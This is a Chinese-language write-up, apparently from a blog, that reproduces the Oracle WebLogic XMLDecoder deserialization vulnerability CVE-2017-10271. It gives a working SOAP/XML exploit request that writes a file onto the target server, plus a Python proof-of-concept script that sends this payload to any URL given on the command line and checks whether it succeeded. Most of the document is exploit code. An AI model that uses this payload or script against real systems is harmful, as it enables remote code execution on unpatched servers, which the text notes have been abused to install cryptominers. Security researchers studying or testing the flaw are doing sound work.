Weblogic(CVE-2017-10271)漏洞复现

WebLogic XMLDecoder反序列化漏洞（CVE-2017-10271）

漏洞编号：CVE-2017-10271

漏洞描述：WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞，可以构造请求对运行WebLogic中间件的主机进行攻击，近期发现此漏洞的利用方式为传播挖矿程序。

受影响WebLogic版本：10.3.6.0.0，12.1.3.0.0，12.2.1.1.0，12.2.1.2.0。

A、环境搭建

　　不解释

B、漏洞利用：

1、初步判断：访问 http://192.168.8.148:7001/wls-wsat/CoordinatorPortType11，存在下图则说明可能存在漏洞

2、构造POST包进行测试，写入test.txt

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.8.148:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 756

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
         <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter"> 
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
                        <string>xmldecoder_vul_test</string></void><void method="close"/>
                    </object>
            </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
</soapenv:Envelope>

PS:wls-wsat路径 /root/Oracle/Middleware//user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat/

3、访问test.txt,漏洞验证成功

Python验证脚本：

#!/usr/bin/env python
# coding:utf-8
 
import requests
from sys import argv
 
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Upgrade-Insecure-Requests': '1',
    'Content-Type': 'text/xml'
    }
def Webogic_XMLDecoder_poc(url):
    #url="http://192.168.8.148:7001"
    posturl=url+'/wls-wsat/CoordinatorPortType'
    data = '''
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter"> 
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
                        <string>xmldecoder_vul_test</string></void><void method="close"/>
                    </object>
                </java>
            </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
    </soapenv:Envelope>
    '''
     
    print url
    try:
        r=requests.post(posturl,data=data,headers=headers,timeout=5)
        geturl=url+"/wls-wsat/test.txt"
        #print geturl
        check_result = requests.get(geturl,headers=headers,timeout=5)
        if 'xmldecoder_vul_test' in check_result.text:
            print u"存在WebLogic WLS远程执行漏洞(CVE-2017-10271)"
    except:
        pass
 
if __name__ == '__main__':
    if len(argv) == 1:
        print "Please input python Webogic_XMLDecoder_poc.py http://xxxx:7001"
        exit(0)
    else:
        url = argv[1]
    Webogic_XMLDecoder_poc(url)